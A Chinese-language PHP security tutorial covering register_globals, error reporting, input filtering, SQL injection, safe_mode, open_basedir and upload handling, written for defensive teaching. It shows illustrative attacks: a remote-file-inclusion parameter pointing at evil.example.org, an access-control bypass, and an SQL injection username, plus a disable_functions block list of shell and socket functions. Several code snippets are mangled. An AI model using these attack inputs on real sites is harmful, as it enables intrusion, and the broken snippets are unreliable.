学习目标: 1、写代码时要有安全意识。 2、掌握PHP安全的一些常用方法。 实现功能->效率(运行效率、开发效率)、安全 一些提高安全的方法: 1、Register Globals register_globals 参数在 PHP 的 4.2.0 及以上版本中默认为屏蔽。虽然这并不认为是一个安全漏洞,但是的确是一个安全风险。因此,应该始终在开发过程和运行环境中屏蔽 register_globals。 例子: <?php if(authenticated_user()) {' $authorized = true; } if($authorized) { include '/highly/sensitive/data.php'; } ?> 当参数 register_globals 开启的时候,这个页面可以使用 ?authorized=1 的参数访问,从而绕过访问控制。当然,这个明显的漏洞是糟糕的开发造成的,而不是 register_globals 的原因,但是这明显增加了产生危险漏洞的可能。消除了这个影响,普通的全局变量(比如本例中的 $authorized)将不再受到客户端提交的数据的影响。最好的方式是初始化全部变量并且在开发时将参数 error_reporting 设置为 E_ALL,这样使用未初始化的变量就不会在开发的时候被忽略。 另外一个关于 register_globals 的例子是在使用 include 包含动态路径的时候可能产生问题: <?php include "$path/script.php"; ?> $mod = isset ($_GET['mod']) ? $_GET['mod'] : 'index'; If (in_array ($mod,array ('school','qq'))){ Include $mod.'.class.php'; } 当参数 register_globals 开启的时候,这个页面可以使用 ?path=http%3A%2F%2Fevil.example.org%2F%3F 的参数访问,使得本例中的代码和下面的代码等同: <?php include ''; ?> 如果参数 allow_url_fopen 开启的时候(即便是在 php.ini-recommended 中,默认也是开启的),这将如同包含本地文件一般包含 这样的远程文件。这是一个常见的安全漏洞,甚至在一些非常著名的开源项目中都发现。 初始化 $path 可以避免这个隐患,而且不用屏蔽参数 register_globals 。然而开发人员的失误可能会产生没有初始化的变量,修改全局配置以屏蔽参数 register_globals 可以尽可能的避免这种隐患被忽视。 屏蔽参数 register_globals 会帮助开发人员更加留意数据的来源,而这正是一个有安全意识的开发人员所应该具备的素质。 对变量要进行初始化,严格检查。 2、错误报告 从早期的版本到 2004 年 7 月 13 日发布的 PHP 5,错误报告都是相当简单的。除了小心编写程序,还要留意一些特定的 PHP 配置项目: error_reporting 这个项目设置了错误报告的等级。开发环境中,强烈建议将这个参数设置为 E_ALL。 运行环境中,也建议设置为E_ALL。 display_errors 这个项目决定是否将错误显示在屏幕上(包含在输出中)。应当在开发中设置为 On,这样可以在开发时就发现错误;应当在运行环境中设置为 Off,这样在所有用户(和潜在攻击者)面前错误将被隐藏。 log_errors 这个项目决定是否将错误写入日志。虽然这会引起性能损失,但是对于并不经常出现的错误这是非常必要的。如果在硬盘上记录错误带来了巨大的 I/O 负荷,比起应用程序的效率来说,这或许应当引起更多的注意。应当在开发环境和运行环境中设置为 On。 error_log 这个项目决定了日志文件存放的位置和名字。一定要确保 web 服务器对指定文件拥有权限。 设置 error_reporting 为 E_ALL 对于强制初始化变量有帮助,因为使用一个未定义的变量会产生提示(notice)。 一个非常好的错误处理和报告函数在 PHP 手册中有所介绍: PHP 5 包含异常处理。了解更多信息,请查阅: 对各种可能的情况,进行充分测试,找到并排除错误。 3、数据过滤 数据过滤在任何语言、任何平台上都是WEB应用安全的基石。这包含检验输入到应用的数据以及从应用输出的数据,确保数据过滤无法被绕过,确保不合法的信息不会影响合法的信息,并且识别数据的来源。 应该仔细审查用户的每一个输入及输出数据是否合法。充分测试各种情况下的程序运行情况。 数字类型的数据,要对它进行类型转换(转换到数字类型),再使用。 使用正则表达式来检查电子邮件、网址、电话、用户名等信息。 ctype_* 系列函数可用于检查数据的合法性,效率比正则要高。 相关详细说明 函数名 | 释义 | 介绍 | htmlspecialchars | 将与、单双引号、大于和小于号化成HTML格式 | &转成& "转成"' 转成'<转成<>转成> | htmlentities() | 所有字符都转成HTML格式 | 除上面htmlspecialchars字符外,还包括双字节字符显示成编码等。 |
|
|
| addslashes | 单双引号、反斜线及NULL加上反斜线转义 | 被改的字符包括单引号 (')、双引号 (")、反斜线 backslash () 以及空字符NULL。 | stripslashes | 去掉反斜线字符 | 去掉字符串中的反斜线字符。若是连续二个反斜线,则去掉一个,留下一个。若只有一个反斜线,就直接去掉。 |
|
|
| quotemeta | 加入引用符号 | 将字符串中含有 . + * ? [ ^ ] ( $ ) 等字符的前面加入反斜线 "" 符号。 | nl2br() | 将换行字符转成<br> |
| strip_tags | 去掉HTML及PHP标记 | 去掉字符串中任何 HTML标记和PHP标记,包括标记封堵之间的内容。注意如果字符串HTML及PHP标签存在错误,也会返回错误。 | mysql_real_escape_string | 转义SQL字符串中的特殊字符 | 转义 x00
空格 ' " x1a,针对多字节字符处理很有效。mysql_real_escape_string会判断字符集,mysql_escape_string则不用考虑。 |
|
|
|
4、欺骗表单提交 为了进一步了解数据过滤的必要,思考下面这个表单(假想的): : <form action="/process.php" method="POST"> <select name="color"> <option value="red">red</option> <option value="green">green</option> <option value="blue">blue</option> </select> <input type="submit" /> </form> 设想一个攻击者保存了这段 HTML 并修改为: <form action="" method="POST"> <input type="text" name="color" /> <input type="submit" /> </form> 这个新的表单可以存放在任何地方(web 服务器并不是必须的,只要浏览器可以访问的即可),并可以随意使用。action 属性设定的绝对 URL 将 POST 请求发到相同的地方。 一个简单的解决方案是:在提交表单时增加验证码验证。 进一步,可以通过域名判断: if(substr($_SERVER['HTTP_REFERER'], 7, 12) <> 'shopfine.com') <?php echo $_SERVER['HTTP_REFERER'];?>可以得到链接/提交当前页的父页面URL.另外,可以使用一些简单的问题来实现验证的作用,比如出一个这样的问题: 1+5=? 一般人都知道是6,而破解软件可能不会这么智能。 5、目录及文件安全 有这样一个文件,保存了数据库的相关信息: 参考db.inc 这个例子包含连接到数据库的全部信息,并保存为文件 db.inc。它在一个文件里保存了帐户信息,这看起来是非常省心的。问题出现在这个文件保存在在根文档(document root)下面的某个地方。这是非常普通的,因为这样使用 include 和 require 语句更加简单。但是这也将导致暴露你的数据库帐户信息。 一定要记住,在根文档(document root)下的所有东西都有一个 URL 与之关联。例如,如果根文档(document root)在 /usr/local/apache/htdocs,当一个文件存储在 /usr/local/apache/htdocs/inc/db.inc 时,则可以通过 URL 访问到它。 解决方案1:将db.inc 改名为 db.php 解决方案2:将db.inc 放在网站根目录之外;或者放在网站的一个目录中,并且限制这个目录的http访问权限(但可以在其他php中require)。 6、SQL注入 SQL 注入攻击相当容易防范,但是许多应用仍然容易受到这种攻击的侵害。考虑下面的 SQL 语句: mysql_escape_string (PHP 4 >= 4.0.3, PHP 5, PECL mysql:1.0) mysql_escape_string — 转义一个字符串用于 mysql_query 说明 string mysql_escape_string ( string $unescaped_string ) 本函数将 unescaped_string 转义,使之可以安全用于 mysql_query()。 Note: mysql_escape_string() 并不转义 % 和 _。 本函数和 mysql_real_escape_string() 完全一样,除了 mysql_real_escape_string() 接受的是一个连接句柄并根据当前字符集转移字符串之外。mysql_escape_string() 并不接受连接参数,也不管当前字符集设定。 Example#1 mysql_escape_string() 例子 <?php $item = "Zak's Laptop"; $escaped_item = mysql_escape_string($item); printf ("Escaped string: %s
", $escaped_item); ?> 以上例子将产生如下输出: Escaped string: Zak's Laptop <?php $sql = "INSERT INTO users (reg_username, reg_password, reg_email) VALUES ('{$_POST['reg_username']}', '$reg_password', '{$_POST['reg_email']}')"; ?> 这个语句由 $_POST 构成,这是毫无疑问的。 假设这个语句创建了一个新帐号。用户提供了想要的用户名和邮件帐号。注册程序产生临时的密码并发送邮件到用户处用于验证邮件地址。设想用户输入下面的内容作为用户名:('good_guybad_guy', 'mypass', ''), 这当然不是一个合法的用户名,但是关键的地方没有数据过滤,应用程序无法判断。如果提供一个合法的邮件地址(例如 shiflett@php.net),而应用程序生成密码为 1234,SQL 语句将变为: <?php $sql = "INSERT INTO users (reg_username, reg_password, reg_email) VALUES ('bad_guy', 'mypass', ''), ('good_guy', '1234', 'shiflett@php.net')"; ?> 除了用合法的邮件地址创建了一个帐号(good_guy),应用程序还创建了第二个帐号(bad_guy),用户提供了所有关于这个帐号的信息。 虽然这个特殊的例子看起来并没有什么很大的伤害,不过一旦攻击者可以修改 SQL 语句会造成多么大的损失也是相当明确的。 解决方案:仍旧是过滤数据,检查所提交的用户名是否合法(不能用引号和特殊符号;或限制用户在英文、数字、下划线,且以英文开头)。 一般提交表单,采用javascript和php两道过滤。 $str = "'"; $sql = "SELECT * FROM `message` WHERE 1 "; $sql .= "AND `content` LIKE '%".addslashes_deep($str)."%' "; $res = $db->getAll($sql); echo '<pre>'; print_r ($res); echo '</pre>'; 7、PHP及相关软件版本更新 应及时将服务器的PHP及相关软件(Apache、MySQL等)升级到最新稳定版本,这样能避免一些已知的安全漏洞。 比如PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高。 PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。 8、PHP的safe mode模式 safe_mode是唯一PHP_INI_SYSTEM属性,必须通过php.ini或httpd.conf来设置。要启用safe_mode,只需修改php.ini: safe_mode = On 或者修改httpd.conf,定义目录: Options FollowSymLinks php_admin_value safe_mode 1 重启apache后safe_mode就生效了。启动safe_mode,会对许多PHP函数进行限制,特别是和系统相关的文件打开、命令执行等函数。 默认情况下,所有操作文件的函数将只能操作与脚本UID相同的文件。 注意:如果在linux中启用了safe_mode,那么如果要在一个目录中创建一个目录,比如要在/upload中创建一个20081202,那么/upload目录所有者必须是apache的所有者。 9、权限认证 程序中应进行严格的权限认证,比如后台管理中的各程序,应加上管理员的权限认证。前台、后台的每一个操作都应根据实际情况,进行严格的权限认证。一般使用的权限认证是进行密码校对。另外也可以使用数字签名对权限进行认证。 ajax调用的PHP程序,也要进行权限判断。 10、禁用PHP的一些系统操作相关的函数 修改php.ini,设置 disable_functions = set_time_limit system exec chdir readdir opendir is_dir shell_exec passthru proc_open proc_close proc_get_status checkdnsrr getmxrr getservbyname getservbyport syslog popen show_source highlight_file posix_ctermid posix_get_last_error posix_getcwd posix_getegid posix_geteuid posix_getgid posix_getgrgid posix_getgrnam posix_getgroups posix_getlogin posix_getpgid posix_getpgrp posix_getpid posix_getppid posix_getpwnam posix_getpwuid posix_getrlimit posix_getsid posix_getuid posix_isatty posix_kill posix_mkfifo posix_setegid posix_seteuid posix_setgid posix_setpgid posix_setsid posix_setuid posix_strerror posix_times posix_ttyname posix_uname dl socket_listen socket_create socket_bind socket_accept socket_connect stream_socket_server stream_socket_accept stream_socket_client ftp_connect ftp_login ftp_pasv ftp_get zlib.compress gzopen gzpassthru gzcompress eval system 11、disable_classes 这个选项是从PHP-4.3.2开始才有的,它可以禁用某些类,如果有多个用逗号分隔类名。disable_classes也不能在httpd.conf里设置,只能在php.ini配置文件里修改。 12、open_basedir 在php.ini中设置open_basedir,或者在httpd.conf中设置这样一行: php_admin_value open_basedir "d:/www/xingmo/;c:/windows/temp/" 注意:目录最后加上/。如果不加上/, "open_basedir = /dir/incl" 也会允许访问 "/dir/include" 和 "/dir/incls"。 在其他系统中(如Linux),将多个目录中的;改为:。 这样做了以后,将php的活动范围限制在本站目录中。 每一个站点一定要设置(在httpd-vhosts.conf中设置)。 13、密码安全 促使用户填写较安全的密码;数据库中对密码进行加密。 14、上传文件 上传文件时,应判断上传文件的类型(判断文件的后缀,并要判断文件的type)。 上传文件的大小,要进行限制。 上传文件后,应将文件重新命名,不要使用上传之前的文件名。 15、清除HTML或JavaScript 如果要在网站上显示留言内容,应将留言中的HTML(至少是JavaScript去掉),以免执行一些不希望出现的操作。(PHP的strip_tags函数) 16、不要在运行的站点上保留phpinfo()脚本 phpinfo()会暴露网站的很多信息,增加网站被攻击的机会。 17、发邮件时,应检查收件人,避免发送到多个邮箱地址 18、尽量使用POST而不是GET方式提交数据 如果采用GET方式提交数据,从表单中提交的密码,就会在地址栏显示出来。 其他程序安全措施: PHP5 PECL库的过滤器功能; PEAR Auth软件包; Mcrypt加密; SESSION和COOKIE加密等。 改变SESSION的默认存储目录,或将SESSION放在数据库中(可参考ecshop的session机制) session_save_path 安全只有相对的,没有绝对的,关键是要有安全的意识。及时增加安全的系数(让网站更安全),发现安全问题时,及时有效地应对。 当然,PHP的安全并不等于整个网站的安全,整个网站的安全,还涉及到: a.服务器硬件安全 服务器硬件的状况,是否稳定;所在机房是否正规;机房是否有监控录像;电力保障是否到位;网络是否稳定。 b.服务器软件安全 包括操作系统安全;软件安全(及时升级软件到最新稳定版本);数据安全(本机备份,下载数据);系统文件权限;建立防火墙等;尽量减少系统的服务;经常检查系统及软件的运行日志、系统的登录记录。 c.网络传输安全 如使用SSL加密。
信息发布:广州名易软件有限公司 http://www.myidp.net
|